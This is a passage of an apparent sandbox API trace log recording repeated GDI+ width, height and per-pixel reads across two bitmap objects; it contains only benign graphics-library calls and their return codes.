GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=57, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=58, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=59, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=60, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=61, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=62, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=63, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=64, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=65, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=66, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=67, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=68, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=69, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=70, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=71, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=72, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=73, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=74, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.888] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.888] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=75, color=0x563e140) returned 0x0 [0056.888] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.889] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=76, color=0x563e140) returned 0x0 [0056.889] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.889] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=77, color=0x563e140) returned 0x0 [0056.889] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.889] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=78, color=0x563e140) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e154) returned 0x0 [0056.889] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.889] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=0, color=0x563e140) returned 0x0 [0056.889] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.889] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=1, color=0x563e140) returned 0x0 [0056.889] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.889] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=2, color=0x563e140) returned 0x0 [0056.889] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.889] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=3, color=0x563e140) returned 0x0 [0056.889] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.889] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=4, color=0x563e140) returned 0x0 [0056.889] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.889] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=5, color=0x563e140) returned 0x0 [0056.889] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.889] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=6, color=0x563e140) returned 0x0 [0056.889] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.889] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.889] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=7, color=0x563e140) returned 0x0 [0056.890] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.890] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=8, color=0x563e140) returned 0x0 [0056.890] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=9, color=0x563e140) returned 0x0 [0056.890] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=10, color=0x563e140) returned 0x0 [0056.890] GdipBitmapGetPixel (bitmap=0x4c35300, x=3, y=11, color=0x563e140) returned 0x0 [0056.890] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.890] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0057.226] GdipGetImageWidth (image=0x4c27818, width=0x563e154) returned 0x0 [0057.226] GdipGetImageHeight (image=0x4c27818, height=0x563e154) returned 0x0 [0057.226] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.226] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.227] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=0, color=0x563e140) returned 0x0 [0057.227] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.227] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.227] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=1, color=0x563e140) returned 0x0 [0057.227] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.227] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.227] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=2, color=0x563e140) returned 0x0 [0057.227] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.227] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.227] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=3, color=0x563e140) returned 0x0 [0057.227] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.227] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.227] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=4, color=0x563e140) returned 0x0 [0057.227] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.227] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.227] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=5, color=0x563e140) returned 0x0 [0057.227] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.227] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.227] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=6, color=0x563e140) returned 0x0 [0057.227] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.227] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.228] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=7, color=0x563e140) returned 0x0 [0057.228] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.228] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.228] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=8, color=0x563e140) returned 0x0 [0057.228] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.228] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.228] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=9, color=0x563e140) returned 0x0 [0057.228] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.228] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.228] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=10, color=0x563e140) returned 0x0 [0057.228] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.228] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.228] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=11, color=0x563e140) returned 0x0 [0057.228] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.228] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.228] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=12, color=0x563e140) returned 0x0 [0057.228] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.228] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.228] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=13, color=0x563e140) returned 0x0 [0057.228] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.228] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.228] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=14, color=0x563e140) returned 0x0 [0057.228] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.229] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.229] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=15, color=0x563e140) returned 0x0 [0057.229] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.229] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.229] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=16, color=0x563e140) returned 0x0 [0057.229] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.229] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.229] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=17, color=0x563e140) returned 0x0 [0057.229] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.229] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.229] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=18, color=0x563e140) returned 0x0 [0057.229] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.229] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.229] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=19, color=0x563e140) returned 0x0 [0057.229] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.229] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.229] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=20, color=0x563e140) returned 0x0 [0057.229] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.229] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.229] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=21, color=0x563e140) returned 0x0 [0057.229] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.229] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.229] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=22, color=0x563e140) returned 0x0 [0057.230] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.230] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.230] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=23, color=0x563e140) returned 0x0 [0057.230] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.230] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.230] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=24, color=0x563e140) returned 0x0 [0057.230] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.230] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.230] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=25, color=0x563e140) returned 0x0 [0057.230] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.230] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.230] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=26, color=0x563e140) returned 0x0 [0057.230] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.230] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.230] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=27, color=0x563e140) returned 0x0 [0057.230] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.230] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.230] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=28, color=0x563e140) returned 0x0 [0057.230] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.230] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.230] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=29, color=0x563e140) returned 0x0 [0057.230] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.230] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.230] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=30, color=0x563e140) returned 0x0 [0057.231] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.231] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.231] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=31, color=0x563e140) returned 0x0 [0057.231] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.231] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.231] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=32, color=0x563e140) returned 0x0 [0057.231] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.231] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.231] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=33, color=0x563e140) returned 0x0 [0057.231] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.231] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.231] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=34, color=0x563e140) returned 0x0 [0057.231] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.231] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.231] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=35, color=0x563e140) returned 0x0 [0057.231] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.231] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.231] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=36, color=0x563e140) returned 0x0 [0057.231] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.231] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.231] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=37, color=0x563e140) returned 0x0 [0057.231] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.231] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.232] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=38, color=0x563e140) returned 0x0 [0057.232] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.232] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.232] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=39, color=0x563e140) returned 0x0 [0057.232] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.232] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.232] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=40, color=0x563e140) returned 0x0 [0057.232] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.232] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.232] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=41, color=0x563e140) returned 0x0 [0057.232] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.232] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.232] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=42, color=0x563e140) returned 0x0 [0057.232] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.232] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.232] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=43, color=0x563e140) returned 0x0 [0057.232] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.232] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.232] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=44, color=0x563e140) returned 0x0 [0057.232] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.232] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.232] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=45, color=0x563e140) returned 0x0 [0057.233] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.233] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.233] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=46, color=0x563e140) returned 0x0 [0057.233] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.233] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.233] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=47, color=0x563e140) returned 0x0 [0057.233] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.233] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.233] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=48, color=0x563e140) returned 0x0 [0057.233] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.233] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.233] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=49, color=0x563e140) returned 0x0 [0057.233] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.233] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.233] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=50, color=0x563e140) returned 0x0 [0057.233] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.233] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.233] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=51, color=0x563e140) returned 0x0 [0057.233] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.233] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.233] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=52, color=0x563e140) returned 0x0 [0057.233] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.233] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.234] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=53, color=0x563e140) returned 0x0 [0057.234] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.234] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.234] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=54, color=0x563e140) returned 0x0 [0057.234] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.234] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.234] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=55, color=0x563e140) returned 0x0 [0057.234] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.234] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.234] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=56, color=0x563e140) returned 0x0 [0057.234] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.234] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.234] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=57, color=0x563e140) returned 0x0 [0057.234] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.234] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.234] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=58, color=0x563e140) returned 0x0 [0057.234] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.234] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.234] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=59, color=0x563e140) returned 0x0 [0057.234] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.234] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.234] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=60, color=0x563e140) returned 0x0 [0057.234] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.235] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.235] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=61, color=0x563e140) returned 0x0 [0057.235] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.235] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.235] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=62, color=0x563e140) returned 0x0 [0057.235] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.235] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.235] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=63, color=0x563e140) returned 0x0 [0057.235] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.235] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.235] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=64, color=0x563e140) returned 0x0 [0057.235] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.235] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.235] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=65, color=0x563e140) returned 0x0 [0057.235] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.235] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.235] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=66, color=0x563e140) returned 0x0 [0057.235] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.235] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.235] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=67, color=0x563e140) returned 0x0 [0057.235] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.235] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.235] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=68, color=0x563e140) returned 0x0 [0057.235] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.236] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.236] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=69, color=0x563e140) returned 0x0 [0057.236] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.236] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.236] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=70, color=0x563e140) returned 0x0 [0057.236] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.236] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.236] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=71, color=0x563e140) returned 0x0 [0057.236] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.236] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.236] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=72, color=0x563e140) returned 0x0 [0057.236] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.236] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.236] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=73, color=0x563e140) returned 0x0 [0057.236] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.236] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.236] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=74, color=0x563e140) returned 0x0 [0057.236] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.236] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.236] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=75, color=0x563e140) returned 0x0 [0057.236] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.236] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.236] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=76, color=0x563e140) returned 0x0 [0057.237] GdipGetImageWidth (image=0x4c27818, 